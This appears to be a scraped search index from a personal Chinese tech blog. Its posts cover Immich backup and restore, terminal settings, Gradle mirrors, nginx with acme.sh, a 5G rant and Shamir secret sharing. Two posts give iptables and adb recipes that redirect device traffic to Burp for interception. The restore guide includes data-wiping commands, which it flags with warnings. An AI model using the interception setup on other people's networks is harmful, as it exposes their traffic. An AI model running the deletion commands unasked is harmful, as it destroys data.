Postgres server to start up # Check the database user if you deviated from the default # Replace \u0026lt;DB_USERNAME\u0026gt; with the database username - usually postgres unless you have changed it. gunzip --stdout \u0026#34;/path/to/backup/dump.sql.gz\u0026#34; \\ | sed \u0026#34;s/SELECT pg_catalog.set_config(\u0026#39;search_path\u0026#39;, \u0026#39;\u0026#39;, false);/SELECT pg_catalog.set_config(\u0026#39;search_path\u0026#39;, \u0026#39;public, pg_catalog\u0026#39;, true);/g\u0026#34; \\ | docker exec -i immich_postgres psql --dbname=postgres --username=\u0026lt;DB_USERNAME\u0026gt; # Restore Backup docker compose up -d # Start remainder of Immich apps ","permalink":"https://t1mmoc.github.io/posts/19226580/","summary":"\u003ch1 id=\"备份篇\"\u003e备份篇\u003c/h1\u003e\n\u003ch2 id=\"可选备份镜像大小1gb但是docker-pull一万年所以最好备份一下\"\u003e可选，备份镜像，大小1GB，但是docker pull一万年，所以最好备份一下。\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 创建镜像导出脚本\ncat \u0026gt; export-images.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39;\n#!/bin/bash\nIMAGES=(\n  \u0026#34;ghcr.io/immich-app/immich-server:v2\u0026#34;\n  \u0026#34;ghcr.io/immich-app/immich-machine-learning:v2\u0026#34;\n  \u0026#34;docker.io/valkey/valkey:8@sha256:81db6d39e1bba3b3ff32bd3a1b19a6d69690f94a3954ec131277b9a26b95b3aa\u0026#34;\n  \u0026#34;ghcr.io/immich-app/postgres:14-vectorchord0.4.3-pgvectors0.2.0@sha256:bcf63357191b76a916ae5eb93464d65c07511da41e3bf7a8416db519b40b1c23\u0026#34;\n)\n\n# echo \u0026#34;正在拉取最新镜像...\u0026#34;\n# docker compose pull\n\necho \u0026#34;正在导出镜像（约需几分钟）...\u0026#34;\ndocker save \u0026#34;${IMAGES[@]}\u0026#34; | gzip \u0026gt; immich-images.tar.gz\n\necho \u0026#34;镜像导出完成！大小：\u0026#34;\nls -lh immich-images.tar.gz\nEOF\n\n# 运行脚本\nchmod +x export-images.sh\n./export-images.sh\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"备份数据库\"\u003e备份数据库：\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Replace \u0026lt;DB_USERNAME\u0026gt; with the database username - usually postgres unless you have changed it.\ndocker exec -t immich_postgres pg_dumpall --clean --if-exists --username=\u0026lt;DB_USERNAME\u0026gt; | gzip \u0026gt; \u0026#34;/path/to/backup/dump.sql.gz\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"备份另外两个文件夹这里跳过\"\u003e备份另外两个文件夹。这里跳过\u003c/h2\u003e\n\u003ch1 id=\"恢复篇\"\u003e恢复篇\u003c/h1\u003e\n\u003ch2 id=\"恢复镜像\"\u003e恢复镜像\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecd ~/imm\n\n# 导入镜像（约需几分钟）\ndocker load -i /tmp/immich-images.tar.gz\n\n# 验证导入\ndocker images | grep immich\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"恢复两个文件夹\"\u003e恢复两个文件夹\u003c/h2\u003e\n\u003ch2 id=\"恢复数据库\"\u003e恢复数据库\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edocker compose down -v  # CAUTION! Deletes all Immich data to start from scratch\n## Uncomment the next line and replace DB_DATA_LOCATION with your Postgres path to permanently reset the Postgres database\n# rm -rf DB_DATA_LOCATION # CAUTION! Deletes all Immich data to start from scratch\ndocker compose pull             # Update to latest version of Immich (if desired)\ndocker compose create           # Create Docker containers for Immich apps without running them\ndocker start immich_postgres    # Start Postgres server\nsleep 10                        # Wait for Postgres server to start up\n# Check the database user if you deviated from the default\n# Replace \u0026lt;DB_USERNAME\u0026gt; with the database username - usually postgres unless you have changed it.\ngunzip --stdout \u0026#34;/path/to/backup/dump.sql.gz\u0026#34; \\\n| sed \u0026#34;s/SELECT pg_catalog.set_config(\u0026#39;search_path\u0026#39;, \u0026#39;\u0026#39;, false);/SELECT pg_catalog.set_config(\u0026#39;search_path\u0026#39;, \u0026#39;public, pg_catalog\u0026#39;, true);/g\u0026#34; \\\n| docker exec -i immich_postgres psql --dbname=postgres --username=\u0026lt;DB_USERNAME\u0026gt;  # Restore Backup\ndocker compose up -d            # Start remainder of Immich apps\n\u003c/code\u003e\u003c/pre\u003e","title":"imm docker 备份/迁移"},{"content":"用来留给自己的，避免每次都连那半天转不上的github export PS1=\u0026quot;$PS1\\[\\e]1337;CurrentDir=\u0026quot;'$(pwd)\\a\\]'\nprecmd () { echo -n \u0026quot;\\x1b]1337;CurrentDir=$(pwd)\\x07\u0026quot; }\necho -en \u0026#34;\\e]1337;CurrentDir=$PWD\\x7\u0026#34; end 一般就第一条就行。\n","permalink":"https://t1mmoc.github.io/posts/19224667/","summary":"\u003ch1 id=\"用来留给自己的避免每次都连那半天转不上的github\"\u003e用来留给自己的，避免每次都连那半天转不上的github\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003eexport PS1=\u0026quot;$PS1\\[\\e]1337;CurrentDir=\u0026quot;'$(pwd)\\a\\]'\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eprecmd () { echo -n \u0026quot;\\x1b]1337;CurrentDir=$(pwd)\\x07\u0026quot; }\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e    echo -en \u0026#34;\\e]1337;CurrentDir=$PWD\\x7\u0026#34;\nend\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e一般就第一条就行。\u003c/p\u003e","title":"tabby 如何检测工作目录"},{"content":"受够了有数据包遗漏了吗？没错，来加入kali抓包大家庭吧\n思路 本机设置kali为网关，kali全部FORWARD劫持到8080\n命令 # 开启 IP 转发 echo 1 | tee /proc/sys/net/ipv4/ip_forward # 允许本机以非本地 IP 发包 sysctl -w net.ipv4.conf.all.route_localnet=1 # 转发，不多说 iptables -t nat -A PREROUTING -i eth0 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-port 8080 如果想抓特别的可以把 -m multiport --dports 80,443 删掉 # 两张网卡，eth1是外网时转发 iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE ","permalink":"https://t1mmoc.github.io/posts/19067511/","summary":"\u003cp\u003e\u003cstrong\u003e受够了有数据包遗漏了吗？没错，来加入kali抓包大家庭吧\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"思路\"\u003e思路\u003c/h1\u003e\n\u003cp\u003e本机设置kali为网关，kali全部FORWARD劫持到8080\u003c/p\u003e\n\u003ch1 id=\"命令\"\u003e命令\u003c/h1\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 开启 IP 转发\necho 1 | tee /proc/sys/net/ipv4/ip_forward\n\n# 允许本机以非本地 IP 发包\nsysctl -w net.ipv4.conf.all.route_localnet=1\n\n# 转发，不多说\niptables -t nat -A PREROUTING -i eth0 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-port 8080\n\n如果想抓特别的可以把 -m multiport --dports 80,443 删掉\n\n# 两张网卡，eth1是外网时转发\niptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE\n\u003c/code\u003e\u003c/pre\u003e","title":"【kali 抓包】全部流量流经kali，劫持到burp"},{"content":"CA证书 CA证书折腾了很久，最后发现fiddler的不行，burp的行，不知道原因\n这部分已经做过了懒得再做一遍，有心者去看看网上的教程吧很详细了。\nhttps://blog.csdn.net/weixin_43391813/article/details/130850778\n代理 方法1： adb.exe shell settings put global http_proxy 10.0.2.2:8080\n方法2： iptables -t nat -A OUTPUT -p tcp -j DNAT \u0026ndash;to-destination 127.0.0.1:8080\nadb reverse tcp:8080 tcp:8080\n方法2：验证方法 iptables -t nat -L OUTPUT -n \u0026ndash;line-number\n方法2：取消 iptables -t nat -F OUTPUT\nadb reverse \u0026ndash;remove-all\n方法2：隐形代理 ","permalink":"https://t1mmoc.github.io/posts/19067212/","summary":"\u003ch1 id=\"ca证书\"\u003eCA证书\u003c/h1\u003e\n\u003cp\u003eCA证书折腾了很久，最后发现fiddler的不行，burp的行，不知道原因\u003cbr\u003e\n这部分已经做过了懒得再做一遍，有心者去看看网上的教程吧很详细了。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43391813/article/details/130850778\"\u003ehttps://blog.csdn.net/weixin_43391813/article/details/130850778\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"代理\"\u003e代理\u003c/h1\u003e\n\u003ch3 id=\"方法1\"\u003e方法1：\u003c/h3\u003e\n\u003cp\u003eadb.exe shell settings put global http_proxy 10.0.2.2:8080\u003c/p\u003e\n\u003ch3 id=\"方法2\"\u003e方法2：\u003c/h3\u003e\n\u003cp\u003eiptables -t nat -A OUTPUT -p tcp -j DNAT \u0026ndash;to-destination 127.0.0.1:8080\u003cbr\u003e\nadb reverse tcp:8080 tcp:8080\u003c/p\u003e","title":"【模拟器抓包】标签就是标题"},{"content":" https://github.com/lc-cn/onebots\n谁写的文档 可能是我看不懂吧，反正来讲几点重要的地方。\n解决方法 解决方法的来源 翻源代码翻的我好苦啊，我服气了。\n已经被作者这个开局配置弄得心累了，也是因为我不接触nodejs和npm、npx的原因吧，翻来覆去找AI找网站没一个讲怎么调试的，作者就给了一条npx就跑起来了，然后报mode不存在知道有多烦吗\n如上图所示，这里加入的是protocol，也就代表着只加入protocol下的内容。\n所以mode要卸载protocol里面。\n问我为什么不去看文档的话：\n就这样说吧，我就没见作者的文档打开得起来过。\nonebot 任重道远 事实是onebot12基本没人用，也就找到这个包了才看看，这个，没话讲。\n","permalink":"https://t1mmoc.github.io/posts/18967201/","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/lc-cn/onebots\"\u003ehttps://github.com/lc-cn/onebots\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"谁写的文档\"\u003e谁写的文档\u003c/h1\u003e\n\u003cp\u003e可能是我看不懂吧，反正来讲几点重要的地方。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140222636-514829766.jpg\"\u003e\u003c/p\u003e\n\u003ch1 id=\"解决方法\"\u003e解决方法\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140339691-579779257.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140417148-2015430598.jpg\"\u003e\u003c/p\u003e\n\u003ch1 id=\"解决方法的来源\"\u003e解决方法的来源\u003c/h1\u003e\n\u003cp\u003e翻源代码翻的我好苦啊，我服气了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140447820-1754401637.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e已经被作者这个开局配置弄得心累了，也是因为我不接触nodejs和npm、npx的原因吧，翻来覆去找AI找网站没一个讲怎么调试的，作者就给了一条npx就跑起来了，然后报mode不存在知道有多烦吗\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140618142-1358916348.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140624451-1739055114.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140721606-924975961.jpg\"\u003e\u003cbr\u003e\n如上图所示，这里加入的是\u003cstrong\u003eprotocol\u003c/strong\u003e，也就代表着只加入\u003cstrong\u003eprotocol\u003c/strong\u003e下的内容。\u003cbr\u003e\n所以mode要卸载\u003cstrong\u003eprotocol\u003c/strong\u003e里面。\u003c/p\u003e\n\u003cp\u003e问我为什么不去看文档的话：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18967201/3336551-20250705140818153-1439747826.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e就这样说吧，我就没见作者的文档打开得起来过。\u003c/p\u003e\n\u003ch1 id=\"onebot-任重道远\"\u003eonebot 任重道远\u003c/h1\u003e\n\u003cp\u003e事实是onebot12基本没人用，也就找到这个包了才看看，这个，没话讲。\u003c/p\u003e","title":"【Onebots】开局踩坑"},{"content":"重要提醒 后来查了一下，好像在5g覆盖区边缘\n所以仅供参考，因为地图会暴露位置就不放了。\n其实还是对目前5g在个人，个别，幸存者偏差情况下的使用情况\n叠甲成这样了应该可以了吧\n正文 steam测速器你值得拥有。\n开了5g直接掉速，关了5g立刻恢复。\n我在想是不是接入了4g基站的问题，开关飞行模式切换一下试试\n甚至发现电话卡（不用流量的那张）开5g都能掉速，就离谱。\n上图是后续\n还有关闭5g的情况：\n最后用4g下完了，5g还是留给别人用吧，就这样。\n","permalink":"https://t1mmoc.github.io/posts/18926069/","summary":"\u003ch1 id=\"重要提醒\"\u003e重要提醒\u003c/h1\u003e\n\u003cp\u003e后来查了一下，好像在5g\u003cstrong\u003e覆盖区边缘\u003c/strong\u003e\u003cbr\u003e\n所以仅供参考，因为地图会暴露位置就不放了。\u003cbr\u003e\n其实还是对目前5g在\u003cstrong\u003e个人，个别，幸存者偏差\u003c/strong\u003e情况下的使用情况\u003cbr\u003e\n叠甲成这样了应该可以了吧\u003c/p\u003e\n\u003ch1 id=\"正文\"\u003e正文\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18926069/3336551-20250612195917348-65182206.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003esteam测速器你值得拥有。\u003cbr\u003e\n开了5g直接掉速，关了5g立刻恢复。\u003c/p\u003e\n\u003cp\u003e我在想是不是接入了4g基站的问题，开关飞行模式切换一下试试\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18926069/3336551-20250612195958900-1873246387.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e甚至发现电话卡（不用流量的那张）开5g都能掉速，就离谱。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18926069/3336551-20250612200025017-1001601620.jpg\"\u003e\u003cbr\u003e\n上图是后续\u003cbr\u003e\n还有关闭5g的情况：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18926069/3336551-20250612200036074-1969555366.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18926069/3336551-20250612200038894-976336650.jpg\"\u003e\u003cbr\u003e\n最后用4g下完了，5g还是留给别人用吧，就这样。\u003c/p\u003e","title":"【5G究竟是给谁用的】吐槽一下5G"},{"content":"前言 我现在随便一找项目，全在推荐Gradle的导入方法。\nGradle这么火吗，凭什么？\n每次配置项目都要该一大堆东西的Gradle为什么会火？\n但是既然是主流，那就跟随主流。起码也要读懂主流。\njdk不匹配 JDK 23.0.1 与 Gradle 8.14 不兼容。 请修正 JAVA_HOME 环境变量。\njdk版本太高了，构建的时候gradle不支持，对此不想动gradle，降级一下jdk吧\n项目结构-\u0026gt;SDK-\u0026gt;24改成21（别管我为啥用24）\n换源 全局换源 我知道从maven转过来的每个人都想搞个gradle全局换源，但至今为止我尝试过的每个gradle全局换源都不靠谱\n但还是贴一个全局换源方案吧（不靠谱）：\n在用户目录-\u0026gt;.gradle目录下，新建或覆盖init.gradle\nallprojects{ repositories { def ALIYUN_REPOSITORY_URL = \u0026#39;http://maven.aliyun.com/nexus/content/groups/public\u0026#39; def ALIYUN_JCENTER_URL = \u0026#39;http://maven.aliyun.com/nexus/content/repositories/jcenter\u0026#39; all { ArtifactRepository repo -\u0026gt; if(repo instanceof MavenArtifactRepository){ def url = repo.url.toString() if (url.startsWith(\u0026#39;https://repo1.maven.org/maven2\u0026#39;)) { project.logger.lifecycle \u0026#34;Repository ${repo.url} replaced by $ALIYUN_REPOSITORY_URL.\u0026#34; remove repo } if (url.startsWith(\u0026#39;https://jcenter.bintray.com/\u0026#39;)) { project.logger.lifecycle \u0026#34;Repository ${repo.url} replaced by $ALIYUN_JCENTER_URL.\u0026#34; remove repo } } } maven { url ALIYUN_REPOSITORY_URL url ALIYUN_JCENTER_URL } } } 项目级换源 换源需要三个，分别在三处\n0. 总览\nwrapper\n项目-\u0026gt;gradle-\u0026gt;wrapper-\u0026gt;gradle-wrapper.properties\ndistributionUrl=https\\://mirrors.cloud.tencent.com/gradle/gradle-8.14-bin.zip 自己替换成对应的版本就好\n插件仓库\n项目-\u0026gt;settings.gradle.kts\npluginManagement { repositories { maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/central\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/jcenter\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/google\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/gradle-plugin\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/public\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/nexus/content/groups/public/\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/nexus/content/repositories/jcenter\u0026#34;) } maven { setUrl(\u0026#34;https://maven.pkg.jetbrains.space/public/p/compose/dev\u0026#34;) } gradlePluginPortal() google() mavenCentral() } } 依赖仓库\n项目-\u0026gt;build.gradle.kts\nrepositories { maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/central\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/jcenter\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/google\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/gradle-plugin\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/repository/public\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/nexus/content/groups/public/\u0026#34;) } maven { setUrl(\u0026#34;https://maven.aliyun.com/nexus/content/repositories/jcenter\u0026#34;) } maven { setUrl(\u0026#34;https://maven.pkg.jetbrains.space/public/p/compose/dev\u0026#34;) } gradlePluginPortal() google() mavenCentral() } 后续 不是，gradle-src是个什么东西啊\n还有高手？\n大概半小时——45min后 不玩了，gradle，再见，我回去我的maven了\n博客就不删了，给后来人看看gradle。\n","permalink":"https://t1mmoc.github.io/posts/18907958/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e我现在随便一找项目，全在推荐Gradle的导入方法。\u003cbr\u003e\nGradle这么火吗，凭什么？\u003cbr\u003e\n每次配置项目都要该一大堆东西的Gradle为什么会火？\u003cbr\u003e\n但是既然是主流，那就跟随主流。起码也要读懂主流。\u003c/p\u003e\n\u003ch1 id=\"jdk不匹配\"\u003ejdk不匹配\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJDK 23.0.1 与 Gradle 8.14 不兼容。 请修正 JAVA_HOME 环境变量。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003ejdk版本太高了，构建的时候gradle不支持，对此不想动gradle，降级一下jdk吧\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18907958/3336551-20250603085117237-1438624016.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18907958/3336551-20250603085127885-297244227.jpg\"\u003e\u003cbr\u003e\n项目结构-\u0026gt;SDK-\u0026gt;24改成21（别管我为啥用24）\u003c/p\u003e\n\u003ch1 id=\"换源\"\u003e换源\u003c/h1\u003e\n\u003ch3 id=\"全局换源\"\u003e全局换源\u003c/h3\u003e\n\u003cp\u003e我知道从maven转过来的每个人都想搞个gradle全局换源，但至今为止我尝试过的每个gradle全局换源都\u003cstrong\u003e不靠谱\u003c/strong\u003e\u003cbr\u003e\n但还是贴一个全局换源方案吧（\u003cstrong\u003e不靠谱\u003c/strong\u003e）：\u003cbr\u003e\n在用户目录-\u0026gt;.gradle目录下，新建或覆盖init.gradle\u003c/p\u003e","title":"【终于不被绕死了】Gradle 换源 kts"},{"content":"书接上文 原来京东云给了我ssh密钥的快速配置方案。但是，管他呢\n接下来该干的事 由于Ohttps存在问题，因此选择加入acme.sh大家庭 最后还是选择了让nginx反代alist，为什么都这么干呢？\n配置 Nginx 安装 Nginx ：若服务器上未安装 Nginx，可使用系统包管理器进行安装，如 Debian/Ubuntu 系统可运行sudo apt install nginx命令，CentOS/RHEL 系统可运行sudo yum install nginx命令。 启动 Nginx ：安装完成后启动 Nginx 服务，命令为sudo systemctl start nginx，并设置开机自启，命令为sudo systemctl enable nginx。 配置 HTTP 服务 ：配置 Nginx 在 80 端口对外提供 HTTP 服务，以便让 CA 能正常下载 HTTP-01 Token。创建或编辑 Nginx 配置文件，如/etc/nginx/conf.d/your_domain.conf，添加以下内容： 卸载conf.d里面：acme.conf，用于提供默认的80环境以申请证书\nserver { listen 80; server_name example.com; # 替换为你的域名 location /.well-known/acme-challenge/ { root /var/www/html; # 这个目录是 acme.sh 验证时使用的目录 try_files $uri =404; } } 记得重载配置文件：\nnginx -s reload 尝试申请第一次证书（可能有点卡，耐心等待）：\nacme.sh --issue -d example.com --nginx 写在conf.d里面：alist.conf\nserver { listen 443 ssl; server_name example.con; ssl_certificate /root/ssl/server.crt; # fullchain.pem ssl_certificate_key /root/ssl/server.key; #privkey.pem ssl_verify_client off; server_tokens off; root /usr/share/nginx/html; location /.well-known/acme-challenge/ { root /var/www/html; # 这个目录是 acme.sh 验证时使用的目录 try_files $uri =404; } location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Range $http_range; proxy_set_header If-Range $http_if_range; proxy_redirect off; proxy_pass http://localhost:5244; # the max size of file to upload client_max_body_size 20000m; } } 记得重载配置文件：\nnginx -s reload 安装第一次证书：\nacme.sh --install-cert -d example.con --key-file /root/ssl/server.key --fullchain-file /root/ssl/server.crt --reloadcmd \u0026#34;systemctl reload-or-restart nginx\u0026#34; 安装好后，acme会自动配置一个定时任务更新，完事。\n","permalink":"https://t1mmoc.github.io/posts/18890588/","summary":"\u003ch1 id=\"书接上文\"\u003e书接上文\u003c/h1\u003e\n\u003cp\u003e原来京东云给了我ssh密钥的快速配置方案。但是，管他呢\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18890588/3336551-20250522103753025-1220380337.jpg\"\u003e\u003c/p\u003e\n\u003ch1 id=\"接下来该干的事\"\u003e接下来该干的事\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18890588/3336551-20250522105711071-1547352933.jpg\"\u003e\u003c/p\u003e\n\u003ch1 id=\"由于ohttps存在问题因此选择加入acmesh大家庭\"\u003e由于Ohttps存在问题，因此选择加入acme.sh大家庭\u003c/h1\u003e\n\u003cp\u003e最后还是选择了让nginx反代alist，为什么都这么干呢？\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e配置 Nginx\n安装 Nginx ：若服务器上未安装 Nginx，可使用系统包管理器进行安装，如 Debian/Ubuntu 系统可运行sudo apt install nginx命令，CentOS/RHEL 系统可运行sudo yum install nginx命令。\n启动 Nginx ：安装完成后启动 Nginx 服务，命令为sudo systemctl start nginx，并设置开机自启，命令为sudo systemctl enable nginx。\n配置 HTTP 服务 ：配置 Nginx 在 80 端口对外提供 HTTP 服务，以便让 CA 能正常下载 HTTP-01 Token。创建或编辑 Nginx 配置文件，如/etc/nginx/conf.d/your_domain.conf，添加以下内容：\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e卸载conf.d里面：acme.conf，用于提供默认的80环境以申请证书\u003c/p\u003e","title":"新服务器配置（二） acme.sh"},{"content":"N手信息，前言引入 https://www.bilibili.com/video/BV1pSEQz1EuG\n视频底下的评论\n寻找网站 究竟是不是删掉了呢？\n有时候是这样的，造谣一个F12就好了，辟谣的人要跑来跑去收集原始信息。\n或者，只需要一个网站上证明有骨粉，就会被证实。\n目前只在知网上找到了该文章，其他大型中立数据库查无此文。\n再去知网看看时间：\n啧，还是一个5月12的。\n我知道了，看下载url。\n看完回来了，没有携带文件时间戳。\n啧，都没有可用的信息啊。\n那怎么办呢？\n看来只能收工了。\n有关AI时代的遐想 AI带来了便利，也同时带来了造谣的新话题。\n造谣一直都在，AI并不会加剧也不会减少造谣的存在。\n该事件因为没有找到任何一方的证据，因此无法判断是否为造谣。\n因此这段话不是针对这件事的。（叠甲）\n只是有感而发。\n以及，如果有个签名就没那么多事了。\n如果gpg不那么难用的话。\n数字签名、数字证书、国产信任链，感觉很需要啊。\n另外的一些想法 说不定开源我的flutter应用是个正确的选择吧。\n话说我现在开源也不太好，一点也不稳定，一旦更新用户必须跟随更新，不能兼容旧版本。\n","permalink":"https://t1mmoc.github.io/posts/18884797/","summary":"\u003ch1 id=\"n手信息前言引入\"\u003eN手信息，前言引入\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193002024-1835812115.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1pSEQz1EuG\"\u003ehttps://www.bilibili.com/video/BV1pSEQz1EuG\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519192950072-1134097619.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e视频底下的评论\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519192838818-2129598860.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519192859457-1460845990.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519192921484-274693613.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"寻找网站\"\u003e寻找网站\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193036206-873151033.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193048812-1540865657.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193242019-1105165556.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e究竟是不是删掉了呢？\u003cbr\u003e\n有时候是这样的，造谣一个F12就好了，辟谣的人要跑来跑去收集原始信息。\u003cbr\u003e\n或者，只需要\u003cstrong\u003e一个网站上证明有骨粉\u003c/strong\u003e，就会被证实。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193411757-992894087.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193423606-973446727.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193446131-1063723478.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e目前只在知网上找到了该文章，其他大型中立数据库查无此文。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18884797/3336551-20250519193841269-38765232.jpg\"\u003e\u003c/p\u003e","title":"【寻觅真相】有关河南骨粉事件的真相寻觅，同时有关AI时代的遐想。"},{"content":"Shamir 秘密共享方案 这是个好玩的东西。简单的讲，就是某个数字例如K=77，可以分成5个，只有3个人都选择恢复这个数字才能恢复这个数字。\n这能干的事情就很多了。\n至于详细地说。。。看下面：\n基本原理 Shamir 秘密共享方案是一种基于多项式插值原理的密码学技术，由 Adi Shamir 在 20 世纪 70 年代提出。其核心思想是将一个秘密数据分割成多个份额，只有当足够数量的参与者（达到一个预设的阈值）将他们的份额组合在一起时，才能重建出原始秘密。\n详细步骤 构造多项式 选择一个有限域 GF(q)，其中 q 是一个素数，且要大于最大的秘密值和参与者的数量。 构造一个 k−1 次多项式 f(x)=a₀+a₁x+a₂x²+…+a_{k−1}x^{k−1}，其中 a₀ 为秘密，a₁,a₂,…,a_{k−1} 是在有限域内随机选择的系数。 生成份额 对于每个参与者 i（1≤i≤n），计算该多项式在 x=i 处的值，即份额 s_i=f(i)，然后将这些份额分发给各个参与者。\n秘密恢复 当有足够的参与者（至少 k 个）提供他们的份额时，可以通过插值法（如拉格朗日插值法）来重建多项式 f(x)，从而计算出 f(0)，即原始秘密。\n用途 安全领域 门限密码学 在加密货币钱包管理等场景中，将私钥分割成多个部分分发给不同信任方，只有达到一定数量的信任方提供份额时才能组合出私钥，防止因单点故障或恶意行为导致私钥泄露或系统崩溃。 关键基础设施保护 对于核电站、军事指挥中心等关键设施的操作系统密码或启动密钥等重要信息，将其分割成多个部分分发给不同授权人员，确保只有足够数量的授权人员同时提供份额时才能启动或操作关键设施。 分布式系统 数据备份与恢复 